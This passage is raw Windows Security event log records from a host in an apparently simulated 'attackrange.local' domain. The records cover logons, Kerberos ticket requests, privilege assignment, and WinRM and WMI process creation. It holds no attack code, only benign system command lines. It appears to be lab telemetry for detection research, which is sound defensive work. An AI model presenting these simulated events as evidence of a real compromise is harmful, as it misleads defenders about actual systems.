ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9d4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249694 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE814E - -Process Information: - New Process ID: 0xfc8 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249693 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE814E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249692 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE814E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249691 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249690 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249689 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249744 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEBF6C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249743 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEBF6C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64319 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249742 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEBF6C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249741 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEBED5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249740 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEBED5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64318 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249739 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEBED5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249738 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEBE3A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249737 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEBE3A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64317 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249736 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEBE3A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249735 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEBD9E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249734 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEBD9E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64316 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249733 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEBD9E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249732 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbd4 - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249731 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE9E60 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249730 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE9E60 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2DA116A3-8894-4F36-EA42-2A3501F6A4FF} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249729 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2DA116A3-8894-4F36-EA42-2A3501F6A4FF} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249728 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2DA116A3-8894-4F36-EA42-2A3501F6A4FF} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249727 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249799 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEDFB5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249798 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEDFB5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64323 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information 